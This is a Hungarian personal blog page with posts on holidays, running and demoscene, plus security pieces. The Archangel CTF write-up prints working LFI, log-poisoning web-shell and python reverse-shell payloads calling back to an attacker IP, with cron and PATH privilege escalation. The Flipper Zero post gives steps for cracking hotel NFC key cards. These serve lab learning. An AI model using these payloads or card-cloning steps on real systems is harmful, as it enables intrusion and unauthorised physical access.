HTML

Az élet kódjai

Csináld maga. Senki nem csinálja meg helyetted.

Friss topikok

  • Travis.CG: Annyiban én is hibás vagyok, hogy könnyen előjönnek belőlem negatív posztok, ezt akartam ellensúly... (2025.05.22. 19:34) Ne csak a rosszat halljátok
  • sdani: Oh... néha eszembe jut, hogy az EBI után esetleg vissza kellene menni valamennyire az akadémiai vo... (2025.03.18. 16:58) Pontos, jól behatárolt célok
  • legyen úgy: Szia, Értem és köszönöm a válaszodat! T. (2025.02.24. 18:23) Expose CTF
  • sdani: Sajnos nekem is hasonló érzéseim vannak az R kiszorulásával kapcsolatban. Remélem jobban fogja tar... (2024.04.29. 10:48) R meetup
  • sdani: Nagyon jók ezek a bejegyzések! Feszültséggel teli, fordulatos, mint egy jobb krimi. :D Abba ne hag... (2024.04.29. 10:35) Wgel CTF

Flipper nyaral

2024.08.22. 11:36 Travis.CG

A nyaralás során a Flipper tulajdonságai remekül kiaknázhatóak. A szálláshelyen a TV-t, légkondit lehet vele vezérelni az infravörös irányítón keresztül.

Sikerült a hotelszoba ajtaját is kinyitni. A hotelek NFC-t használnak, de abból rengeteg protokol van. Most szerencsém volt, mert ahol megszálltunk MIFARE Ultralight-ot használtak. Ez is titkosított, de a kis készülék által kezelhető.

Ha csak beolvassuk a kártya adatait és visszajátszuk a zárnak, az nem működik, pont a titkosítás miatt.

Először a kártyát kell beolvasni és elmenteni. Utána a Detect Reader funkcióval beolvasni az érzékelőt. Ez viszonylag sokáig eltarthat. Utána a telefonos applikációval a Tools menüből futtatni kell az Mfkey32 funkciót. Ez is elcsámcsog az adatokon egy ideig és megpróbálja a kulcsokat visszafejteni. Ha megvan, akkor a Flipperen a kártya adatait kiválasztva lesz egy Unlock menüpont, több almenüvel. Én az Unlock by Reader-t használtam. Még egyszer a detektorhoz tartjuk a Flippert, és kész is. Innentől nyithatjuk a hotel ajtaját. Természetesen csak a sajátunkat.

Volt is kisebb bonyodalom, mert én épp a Flipperrel bíbelődtem a hotel folyosóján, amikor megjelent egy csomó vendég mögöttem csomagokkal, és kérdezték, mit csinálok az ő szobájukkal. Mondtam, hogy ez az én szobám. Ők állították, hogy az övék. Végül kiderült, hogy a recepción mindkettőnknek ugyan azt a szobát adták.

Az uszodai öltözőket viszont sehogy sem tudtam kezelni, pedig ezek egyszerűbb protokolra épülnek. Az egyik egy MIFARE Plus X-t használt, egy másik helyen pedig MIFARE Classic 1K-t, legalábbis a szerkezet szerint. Bár a kártyát mindkét típusnál tudtam menteni, a szekrényeket egyik sem nyitotta. Ez nem is baj, mert nem akartam, hogy vizes legyen a Flipper. (Még akkor sem, ha a delfinek tudnak úszni.)

Sok étkezőnél a rendelés elkészültét egy kis korong jelzi. Ezek elméletileg 433MHz-en kapják a jelet, tehát bőven a Flipper konfortzónájában. Nekem viszont a Frequency Analyzer nem jelezte az étel elkészültét. Venni biztosan tudja a frekvenciát, mert a BSides-on az egyik ember mutatta nekem, hogy a saját készülékével a Read funkcióval rögzítette a jelet, mikor elkészült a hamburgere.

Kicsit csalódott voltam, ezért a parkolóban vígasztalásul kinyitottam egy Tesla töltőfedelét.

Szólj hozzá!

Címkék: flipperzero

Balatonnál sej-haj

2024.08.13. 09:55 Travis.CG

Tóbiás nem gondolta, hogy egy bármi probléma lehet. Nyilván egy nyaralás kezdete stresszforrás. Az indulás soha nem úgy alakul, ahogy az ember eltervezte, de aztán eljön a váltás, amikor már nem aggódunk az otthonhagyott papucs miatt, amikor leszállunk az izzadságszagú vonatról, és megkezdődik a nyaralás. Innentől nem szokott gond lenni. Legalábbis semmi olyan gond, amivel tavaly ne találkozott volna az ember, példának okáért a "sokkal drágább fagyi"-tól a szúnyogcsípésig. Amíg csak ezekkel kell foglalkozni, az beleillik a megszokott ritmusba.

Minden ettől való eltérés a probléma kategóriába tartozik. A probléma pedig a bepakolással kezdődött. Tóbiás gyerekkorába a vonathoz kellett igazodni, ezért az indulás idejét nem lehetett módosítani. Most, hogy anyósával és apósával, feleségével, gyerekével, kereszfiával, keresztlányával megy, akik autóval akarnak leutazni, az indulás időpontja megjósolhatatlan. Senki nem tudja, mikor fognak elindulni, mert még az indulás napján is pakolnak.

Tóbiás erősen próbált visszaemlékezni, mennyi csomagja volt annak idején a négy tagú családnak, de csak egy sporttáskára emlékezett. Talán mintha lett volna egy szatyor, ha a sporttáska kicsinek bizonyul. Most hitetlenkedve állt a tömött Mercedes kombi mögött, miközben apósa, Géza próbálja megszervezni, hogy mi kerüljön a második autóba.

- A gyerekülés alá elférnek a sörök - kezdi Péter, Tóbiás sógora. - Úgysem ér le a lábuk.

- Jó, de Tóbiásék táskája is nálatok lesz, mert az ágynemű a fél csomagtartót elfoglalja.

Péter, akár csak egy töprengő mérnök, a járművek csomagtartóját nézegeti.

- Az még talán elfér.

Délután kettőre végeztek a csomagolással. Az ebédmaradék is dobozokba került, sőt Péterék a tegnapi kerti partijukról maradt grillhúsokat is áthozták.

- Mindig idehozzák ezeket a nagy dobozokat, hogy én mosogassam el őket. Mindegyik dobozban van két hús! Miért nem lehetett ezt egy dobozba rakni? - mérgelődik Mari, Géza felesége, de csak ha Péter nincs a közelben.

Mikor a hűtőtáskák is megteltek az ételekkel, azok is a csomagtartóba kerültek. Tóbiás nem értette, mi szükség van erre. Mintha nem is nyaralni mennének, hanem az országot kellene elhagyni meghatározhatatlan időre. Mellette Géza sztorizni kezdett.

- Soha nem felejtem el, mikor Laciék Horváthországba mentek - Tóbiás nem tudta kik lehetnek Laciék, de úgy gondolta, ez jelenleg nem is fontos. -  Egy 12 literes fazék is volt náluk, tele töltött káposztával. Annyi kaját vittek, hogy a kocsi hátsó ülésére sem lehetett beülni. Komolyan nem értem az ilyen embereket.

Géza hangosan hahotázott. Tóbiás megértette, hogy az emberek nem látják saját gyarlóságaikat, amíg van náluk is szánalmasabb. Közben a pakolás is véget ért. Nem azért, mert megvolt minden, amit vinni akartak, hanem mert a kocsik megteltek.

Elindul a konvoly. Géza, Mari és Tóbiás családja az első kocsiban utazott. Olga, Tóbiás és a kis Heni hátul ültek. Tóbiás ölében makarónis tál, mert a keresztfia csak azt eszik ebédre. A másik autóban Péter és két gyereke ült. Péter nem marad a Balatonon, mert sürgős üzleti tárgyalásra kell mennie, tehát a kocsi kipakolása után már jön is el.

Talán két percet utazhattak, amikor Géza a homlokára csap!

- A WC papír!

- Jajj, a WC papír - kontrázott Mari is, mintha neki jutott volna eszébe. Mindenki visszafordul, mert nyaraláskor valami ismerősnek kell, hogy simogasson, ha jön a szükség. Géza berakja a 12-es Covid túlélő készletet és másodszor is elindul a kis csapat. Most egy kicsit messzebb jutottak, de a város határát még nem érték el.

- A pénz! - kiált fel Géza.

- Jajj, nem raktál el pénzt? - sipítozik Mari.

Géza nem hisz a bankkártyában, mobiltelefonos fizetésben és egyéb hókusz-pókuszban. Géza csakis a készpénzben hisz. A teljes nyaralás tervezett kiadása gurtnikban van, akár csak a régi vágású gengsztereknél. Újabb forduló következett vissza a házhoz.

- Bármit felejtünk itt, már nem jövünk vissza - jelenti ki Géza határozottan. Ezt tartja is, hiába jut eszébe Marinak az ásványvíz, vagy a kakaópor az unokáknak.

Miután megérkeznek, megkezdődik a kipakolás. Péter a leggyorsabb, mert még fel szeretne készülni a holnapi tárgyalásra, de Tóbiás úgy érzi, a gyerekeitől is szabadulna akar. Péter még szinte el sem hagyta a nyaralót, amikor Mari már telefonált neki, hogy holnap a tárgyalás után ne felejtsen hozni tejet, a gyerekek biciklijét, és még öt tételt, ami nélkül csak egy napot lehet kibírni.

A gyerekek meglátják a medencét.

- Mama, mama, belemehetünk?

- Várjatok még! - kiált Mari kezében a telefonnal, de a legkisebb nem vár. A fűre dobja az összes ruháját és pucéran a vízbe veti magát. A többiek ezen felbátorodnak, és követik a példáját.

- Nem ilyen medencétek van nektek is? - kérdezi Tóbiás Gézát, miközben pakolják a holmikat a házba.

- De, ugyan az az összeszerelhető modell, csak ez kicsit kisebb.

Késő délután az egész család lement a Balatonhoz. Tóbiás még emlékezett rá, milyen volt gyerekként egész nap a tóban lubickolni, miközben édesanyja a partról kiabált, hogy jöjjön már ki, mert kékül a szája. Valahogy a kékülő száj és a Balaton örökre összefonódott Tóbiás emlékezetében.

Mari és Olga a parton maradtak, nem akartak bemenni a vízbe. Géza és Tóbiás kísérte a gyerekeket. A kicsik berongyoltak a tóban, de megálltak a térdig érő résznél. A lendületük látványosan megtört.

- Fúj, mi ez? - kérdezte az egyik gyerek undorodva, miközben valami zöld úszott felé.

- Hínár, ne félj tőle, nem bánt - bár Tóbiás eszébe rémlett, hogy annak idején ők sem szerették a hínárt. Azért dobálták egymás hajába.

- Ez hideg - jelentette ki egy másik lurkó. Tóbiás 27 fokra saccolta a hőmérsékletet.

- Ússzál, akkor nem fogsz fázni. Menjünk beljebb!

A déli part csak lassan mélyült. Még derékig sem ért a víz, amikor a legkisebb elkezdett nyafogni.

- Mennyünk ki!

A többiek is hamar csatlakoztak a legkisebbhez.

- De még nem is úsztunk, itt vagyunk a part közelében.

- Mennyünk ki! - panaszkodtak kórusban.

Tóbiás vágyakozva nézett a bólya irányába. Mennyit csimpaszkodtak bele! Aztán megfordult és kiment a gyerekekkel. A parton a száradással több időt töltöttek, mint a vízben.

- Nem akartok egy kis kukoricát? - kérdezte a gyerekeket Mari.

- Deee!

- Én inkább jégkását kérek - jegyezte meg halkan Heni.

- Én is, én is! - kontrázott rá a másik két gyerek.

A vége az lett, hogy kaptak mindkettőt. A kukoricából mindegyik evett két falatot, a jégkásából pedig ittak egy kortyot.

- Menjünk vissza medencézni! - jegyezte meg az egyik kölyök, mire a másik kettő azonnal átment papagáj üzemmódba.

Még szerencse, hogy négy felnőtt kísért három gyereket, mindenkinek a kezébe jutott vagy egy megcsócsált kukorica, vagy egy cukros löttyé olvadó jégkása. A csomagok alapfelszerelésnek számítottak, az nem számított.

A medencében végül elvolt a három gyerek. Este nyolcig ki sem jöttek. A vízben nem volt hínár, a keringtető rendszer kellemes melegen tartotta a hőmérsékletet. Tóbiás azon gondolkodott, ha ezek a gyerekek felnőnek, ők mit fognak gondolni a saját gyerekeik nyaralásáról?

Szólj hozzá!

Címkék: irodalom

Archangel CTF

2024.08.04. 18:07 Travis.CG

Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:

nmap -sS -Pn --top-ports 100 -sV $IP

Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.

A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/

Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.

Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.

A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.

http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php

Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.

Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.

A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:

User-Agent: <?php system($_GET['cmd']); ?>

Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!

*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27

A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.

nc -lvnp 4444

Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:

nc -lvnp 9001

Majd módosítsuk a hellowordl.sh-t echo-val:

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh

A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.

A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:

strings backup

Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.

Ha kész a cp szkript, akkor vegyük előre a PATH-ban:

export PATH=/home/archangel/secret:$PATH

Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.

Szólj hozzá!

Címkék: biztonság

Hacker vs Hacker CTF

2024.07.28. 11:57 Travis.CG

A hollywood-i filmekből ismerős lehet a következő helyzet: Az éjszaka közepén egy elsötétített szobában napszemüveges csávó hekkel ezerrel, amikor rájön, hogy másvalaki is hekkeli a rendszert. És akkor nagyon nyomogatják a billentyűket, hogy megtudják, ki a jobb.

Ezt a helyzetet igyekszik visszaadni a következő CTF. A sztori szerint egy hekker már bent van a rendszerben, nekünk a hekkelt rendszert kell felhekkelni.

Először tároljuk az IP címet a $IP változóba, majd szokás szerint végignézzük, milyen nyitott portok vannak:

nmap -sS -Pn --top-ports 100 $IP

SSH és web. Semmi rendkívüli. Az oldal alján rögtön van egy fájl feltöltési lehetőség, de bármivel is próbálkoztam, semmit nem lehet feltölteni. Az oldal forráskódja szerint a feltöltött tartalmak a /cvs könyvtárban vannak, de az nem listázható. Végigfuttattam rajta egy könyvtár keresést gobusterrel, de semmit nem találtam.

Az uploads.php-nek kellene végezni a feltöltést, kommentben ott van az eredeti szkript forráskódja, ami még a hekker támadás előtt működött. A forráskód elemzéséből az látszik, hogy a szkript csak azt nézte, hogy a fájlnévben legyen egy .pdf, de azt nem, hogy az a végén legyen. A hekker biztos feltöltött valamit, ami .pdf.php-re végződött, majd módosította a szkriptet, hogy mi már ne tudjunk belépni.

Lehet, hogy a szkript, amit használt még mindig ott van? Kipróbáltam a revshell.pdf.php-t, de az nem működött. de a shell.pdf.php válaszolt! Valami GET-es paraméter kell neki. A legnyilvánvalóbb jelölt a cmd. Kipróbáltam és ez is működött! Most már lehet egyszerű parancsokat futtatni a gépen. A /home könyvtárban meg is lehet nézni a felhasználó user.txt fájlját, mai az első feladat!

Oké, eddig jó, de be kellene lépni. A felhasználó .bash_history fájlját is meg tudjuk nézni, amiben szerencsére benne van, hogy mire módosította a jelszót a hekker. Szuper! Ha belépünk ssh-val, akkor kb. 3 másodperc múlva egy nope üzenet kíséretében kidob. A hekker valami csapdát rejtett el!

Ha még egyszer megnézzük a shell.pdf.php-vel a .bash_history-t, akkor látjuk, hogy még a jelszó változtatás előtt valamit írt az /etc/cron.d/persistence fájlba. A tartalmát is megnézhetjük a php szkript segítségével. Van egy for ciklus, ami 10 másodpercenként kinyírja a /dev/pts-t használó folyamatokat! Tehát nem tudunk pseudoterminált létrehozni!

Azért nincs minden veszve! Az ssh így is tud parancsokat futtatni. Például:

ssh $user@$IP /bin/bash

És máris van egy stabil shell. Nem a legjobb, de legalább nem dob ki minket. Most legalább van idő körülnézni. Bár egy csomó dolgot kipróbáltam, a megoldás végig a szemem előtt volt, már a /etc/cron.d/persistence fájl első megtekintésénél. A legfontosabb, hogy a PATH változóban a felhasználó bin könyvtára van a legelső helyen! Tehát a pseudoterminált kinyíró pkill parancsot ki tudjuk cseréni saját szkriptre, mert ez az egyetlen, amit nem abszolút elérhetőséggel adtak meg! A felhasználó bin könyvtárában lévő pkill root jogokkal fog futni!

Mivel elég limitáltak a fájl szerkesztési feltételek, ezért a saját gépen hoztam létre a fájlt, majd scp-vel felmásoltam. Itt még bénáztam egy sort, mert először nc-vel akartam létrehozni a reverz shellt, csakhogy a gépen lévő verzió egy őskövület volt, ami nem ismert egy csomó kapcsolót, végül a python verziót használtam innen.

De ez még nem elég, mert a pkill csak az utolsó parancs, ami lefut. Ismét kapcsolódni kell ssh-val, de a /bin/bash parancs nélkül, hogy a rendszer eljusson a pkill parancsig. Amikor megpróbálja kinyírni a terminált, helyette elindít egy root shell-t.

Utána már írhatja a képernyőre, hogy nope, ahányszor csak akarja, engem nem zavar. A root.txt olvasható.

Csak, hogy hűek maradjunk a hollywood-i klisékhez, még beírhatjuk:

wall "Mess with the best, die like the rest."

Szólj hozzá!

Címkék: biztonság

Ez a való élet, nem egy CTF

2024.07.23. 11:49 Travis.CG

Hétfőn furcsa levél jelent meg az egyetemi emailcímemen. Látszólag a Nemzeti Egészségbiztositási Alapkezelőtől, aláírás vagy bármi más nélkül. Az üzenet feladója a igazolt.jelentkezo. A levél gond nélkül átment az egyetem víruskeresőjén, még a plecsnit is megkapta, hogy biztonságos. Ráadásul mintha az előző hetekben kaptunk volna valami levelet, hogy kedvezményes egészségbiztosítást igényelhetnek az egyetemi dolgozók, szóval megnyitás előtt nem volt gyanús.

Utána már furcsa volt, hogy nincs megszólítás, kezdtem sejteni, hogy ez valami kártékony dolog. A levél fejlécét letöltve semmi gyanúsat nem láttam. Nem volt benne olyan, hogy a válaszcím máshova szól, mint a feladó. Sajnos, mióta az egyetem átállt Office365-re, a feladó eredeti IP címe nem elérhető, ezért azt nem láttam.

Egy attachment volt benne: megerősítés.tar. Ezt nem értettem, miért küldenének egy tar állományt? A legtöbb felhasználó Windows-t használ, a tar nem mond nekik semmit. Letöltöttem.

A második megdöbbentő dolog az volt, hogy ez nem tar, hanem egy tar kiterjesztésű Rar. Ezt még inkább nem értettem. A Rar nem alapértelmezett tömörítő. Ha azt akarnám, hogy minél több embert fertőzzön meg, Zip-et használnék. Bár igaz, akkor a vírusirtók is könnyebben azonosítják.

A harmadik furcsaság, hogy a fejlécben van egy utalás egy pdf állományra. De ezt a pdf-t nem lehet kicsomagolni!

fejlec.png

Ha megnézzük az unrar l paranccsal, akkor egy megerosites.cmd-t látunk csak. A csomagolás dátuma két órával előzte meg az email érkezését, szóval nem vesztegették az idejüket.

Kicsomagoltam a tar-nak álcázott rar állományt, és megnéztem a megerosites.cmd-t, de azt totál nem értettem. Olyan érzés lehetett, mint amikor Dr. Dyson megkapta a Terminator központi processzorát. Azt hittem valami shell szkript lesz, de nem az volt. Egy COMCOM állomány volt az első pár byte, ami elképzelni sem tudom, hogy mi lehet. Két napig túrtam a netet, hátha megtudom, mi lehet ez, de eredménytelenül. A rejtélyes fejlécet két windowsos parancs követi: cls és set, majd obfuszkált kód. A legvégén van egy digitális aláírás.

Arra gondoltam, a kód írója biztos egy létező obfuszkátort használt, ezért elkezdtem keresni ilyen programokat. Gyorsan találtam is egyet, ami elég hasonló kódot generált a képek alapján. Ekkor kezdtem megérteni, mi is történik. Létrehoznak egy változót, aminek a neve nem ASCII karakterekből áll, mert hát megtehetik. Ebbe belepakolnak egy látszólag random sztringet. A Windowsban van egy olyan lehetőség, hogy ennek a sztringnek egy részét kiszedjék:

%valtozo:~start,hossz%

Az obfuszkált kódban a hossz minden esetben 1 volt. Tehát a forráskód további része karakterenként épül fel az első változó alapján. Oké, akkor írok egy deobfuszkátort ez alapján. Gondoltam én naiv! Azért kíváncsi voltam, hányféle karakterből áll a forráskód, ezért a következő egysorossal szétbontottam:

sed 's/%%/%\n%/g' megerosites.cmd | less

Mivel minden változó után egy következő változó kezdődik, ezért a %% mentén beszúrtam egy újsor karaktert. Az eredmény elkeserítő volt. Az első változó neve 0xC4 0xC5 0xC7 0xC9 (hex kódokkal), de utána kerültek elő más változónevek is. Ez a deobfuszkálás bonyolultabb, mint gondoltam! Nézzük meg, más már megoldotta-e a feladatot.

Nincs valami sok a kínálatban, azok is elég régiek. Végül ezt válaszottam, mert Python, ezért fut Linux alatt is, és csak két éves. Nos, az eredmény, amit adott nem tökéletes.

decode1.png

De már látszanak olyasmik, hogy CLEAN.GIF. A qQpzQ\EJSR pedig többször is előfordul, mintha valami elérési út lenne. A dolgot tovább bonyolítja, hogy bizonyos változóneveket később felüldefiniál a szkript, hogy még jobban megnehezítse az ember dolgát.

Egy kiberbiztonsággal foglalkozó Discord szerveren kértem segítséget, hátha van valami más megoldás, ami elkerülte a figyelmemet. Egyetlen ember válaszolt, hogy használjam az IDA Pro-t. Köszi, mintha nem írtam volna le, hogy Windows batch fájlról van szó, nem binárisról.

Úgy tűnik, nem úszom meg, hogy saját deobfuszkálót írjak. A gond az ilyen munkával az, hogy véget nem érő feladat. Csak elkezdeni lehet, befelyezni nem. Ennek ellenére megpróbálok írni egyet, ami nem lesz jó minden esetre, de erre a speciális esetre talán működni fog.

Szólj hozzá!

Címkék: biztonság

A kütyüknek is melegük van

2024.07.17. 08:53 Travis.CG

A nyári meleg nem csak az emberi szervezetet viseli meg, de az elektronikai eszközöknek működésére is kihat. Az ember néz egy kis demót, vagy játszik, mire a gép úgy felmelegszik, hogy alig lehet hozzá érni. El is távolítottam az asztali gép oldalát, hogy jobb legyen a szellőzése.

A net is akadozott, mert a router folyamatosan újraindult. Nem értettem, miért, egészen addig, míg hozzá nem értem. Forró volt. Kérdezte is a feleségem, hogy nem lehetne-e ventillátort szerelni rá.

Nos, a helyzet az, hogy lehet. Egy régi tápegység ventillátorra esett a választásom, ami 12V-on működik. Forrasztottam a drótok végére egy-egy banándugót, hogy később megfelelő módon tudjam csatlakoztatni. Most viszont gyorsan kellett a megoldás, ezért az átalakított tápegység krokodilcsipeszes kivezetésével hajtottam meg. Nem szép, de működik.

hutes.jpg

Szólj hozzá!

Címkék: barkácsolás

Belefutottam egy alkalmassági vizsgálatba

2024.07.11. 20:33 Travis.CG

Általában a várostól távol szoktam futni, kerülöm a népes csomópontokat. Egyik nap viszont kipróbáltam a városi futókört, mert az a pálya közel sík, nincs benne annyi emelkedő, én pedig kiváncsi voltam, az mennyit javít az időmön.

A pálya elméletileg egy kilóméteres kör, de az okosóra szerint csak 850 méteres. Ezt a különbséget egyébként az óra minden körben következetesen tartotta is.

Már az első kör végénél láttam, hogy fiatalok gyülekeznek, akikre két terepruhás katona felügyelt és fekete pólós instruktorok magyaráztak nekik. A második körömnél a csoport egyik fele felüléseket végzett, a nem gyakorlatozók fogták a felülést végzők lábát. A harmadik körnél csere volt.

Közben ők is oda-odanéztek rám. Szerintem ötvenen lehettek.

A negyedik körnél eltűnt mindenki, csak a papírokat és az ivókulacsokat hagyták ott. A fekete pólós felügyelőket a start-célvonalnál láttam meg. Valamennyire a pálya egy részét is beláttam, de egyetlen futót sem tűnt fel, amiből arra következtettem, hogy kb. 500 méter előnyöm lehetett. A felügyelők közbe röhögtek, mikor megláttak. Gondoltam, milyen jó poén lenne, ha Amerika Kapitányként elfutnék mellettük.

Nem így történt. Az első két ember az ötödik körnél ért be. A pályaetikett szabályai szerint lehúzódtam, hogy ne rajtam múljon a felvételi. Akkor már kezdtem fáradni, 7-8 perces kilómétereket mentem csak. A hatodik körnél ért be az első nő is. Utána próbáltam azért gyorsítani, hogy nehogy lekörözzenek, de így is megelőztek még hárman.

A felvételizők három kilómétert mentek összesen. Miután összepakoltak, és elmentek, még három kört mentem. Az órám szerint az első három kilómétert hat és fél perces kilóméterekkel futottam le, tehát 19,5 perc alatt teljesítettem volna a távot.

Szerintem területvédelmisek voltak. Kíváncsi voltam, mi lehetett a minimum követelmény, de erre nem találtam semmit a neten. Az egyetlen támpont a hadkieg oldala volt, de ott 3200 métert írtak futásra. Ezen kívül felülés és karhajlítás volt két perc alatt. Gondoltam megnézem, hogyan teljesíteném azokat a feladatokat. Karhajlítás 46 darab volt, felülés 65 darab. Nem is rossz, egy (öreg)embertől.

Szólj hozzá!

Címkék: sport

Készülődés Assemblyre

2024.07.02. 20:11 Travis.CG

A hazai demopartyk száma megfogyatkozott, viszont nekem több ötletem is van, amit érdemes lenne megvalósítani. Sajnos az ötletek mind wild és/vagy videó kategóriába tartoznak. Amikor nézegettem az Assembly kiírását, feltűnt, mennyi kategóriában fogadnak remote entry-t. Rögtön meg is született a döntés: az egyik rövidfilmet beadom Assembly-re.

A forgatókönyvet pár hónappal korábban már megírtam egy unalmas délutánon, azóta kicsit reszelgettem is, ezért már pontosan tudtam, milyen jeleneteket akarok. Még korábban pedig még Grassnak is elmondtam az ötletemet, hogy egyáltalán érdemes-e megvalósítani. Nem akarok még egyszer abba a hibába esni, hogy a közönség csak néz, és nem ért semmit, mint a Rupture paródiámnál.

Az első probléma, hogy szükségem volt szárazjégre. Szárazjégnek lennie kell, vagy nincs film! Ez nem akkora probléma, mert a laborok a hűtést igénylő mintákat szárazjégbe ágyazva kapják. Rendszeresek a körlevelek, hogy a felesleges szárazjeget a folyosóról el lehet hozni. A gond csak az, hogy nem tudni, mikor kap valamelyik csoport szárazjeget.

Pont egy pénteki este néztem meg a levelezést, amikor írták, hogy van szárazjég. De akkor már nem volt kedvem visszamenni. Egész hétvégén evett a fene, hogy elszalasztottam egy ilyen remek alapanyag beszerzési lehetőséget. Hétfőn viszont arra gondoltam, talán a hétvégét kibírja az a szárazjég, és nekem szerencsém lesz. Felvettem a felszerelést és bementem a melóhelyre. Reggel még nem szokott senki bent lenni, tehát nyugodtan tevékenykedhettem.

A szárazjég megvolt. Nem sok maradt, de amennyi nekem kellett, annyi volt. Gyorsan felvettem a füstölgő jeleneteket. Még arra is maradt idő, hogy megismételjem a felvételeket. Legyen elég alapanyag a vágáshoz.

Viszont keletkezett egy másik probléma. Mivel nem volt meg az összes felvétel, más napokon is kell majd forgatnom! De én nem a Batman vagyok, hogy a szekrényemben csupa egyforma ruha legyen! Kénytelen voltam az izzadt, büdös pólót a munkahelyemen tárolni, hogy amikor ismét lesz időm forgatni, akkor kéznél legyen. Még szerencse, hogy a kamera nem rögzít szagot!

A harmadik probléma egy animált arc megjelenítése volt. Először Blenderben akartam elkészíteni. A modellezés nem volt túl nehéz, a mimika viszont annál inkább. Lassan és gyötrelmesen ment. Végül úgy döntöttem, inkább én leszek az animált arc, és addig effektezem a felvételt, amíg elég mű hatása lesz. Ez gyorsabb megoldásnak ígérkezett.

Még két 2D animáció fog kelleni. Először procedurálisan akartam megoldani, de az is túl sok időbe kerül, miközben a megtérülő haszon minimális. Végül néhány videó megtekintése után úgy döntöttem, azokat Blenderben fogom megcsinálni.

Szólj hozzá!

Címkék: demoscene

A bioinformatikus megmondta

2024.06.23. 19:49 Travis.CG

Habár egy kutatómunka több ember együttes munkájának az eredménye, a legtöbb bioinformatikus szeret leválasztani egy szeletet ebből a munkából és arra úgy tekint, mint a saját játékára. Mint amikor az ovisok együtt homokoznak ugyan, de azért lapátjukkal demarkációs vonalakat húznak.

Ezt a hozzáállást akkor lehet tetten érni, amikor valaki mással megismételtetik a vizsgálatot, amit a bioinformatikus végez. Ez egy nyílt sértéssel ér fel. Régebben még én is ilyen voltam, de mostanában már nem zavar, mert tudom, hogy amit csinálok az jó (köhöm köhöm), másrészt élvezet látni, ahogy valaki szenved és kínlódik, mert az elvárásait a valóság tönkre zúzza.

Az alapszituáció a szokásos volt: Sok adat, kevés munkaerő, minden tegnapra kell. Ez utóbbi természetesen csak a bioinformatikusokra vonatkozik, a laborosok heteket is ülhetnek a válaszokon.

Ebben a miliöben kellett lefuttatni egy csomó nagy lefedettségű targetált szekvenálást. Az smCounter2-t használtuk, amiről korábban csupa jót zengtem. Annyit módosítanék, hogy a Qiagen a cikk elfogadása után törölte a programot a Githubról, úgyhogy az már csak a cég szolgáltatásán keresztül érhető el. Tehát cloud ide-vagy oda, a jó öreg Letöltés gomb még nem fog kimenni a divatból. Szerencsére volt biztonsági mentésem a repóról, ezért mi gond nélkül használhattuk.

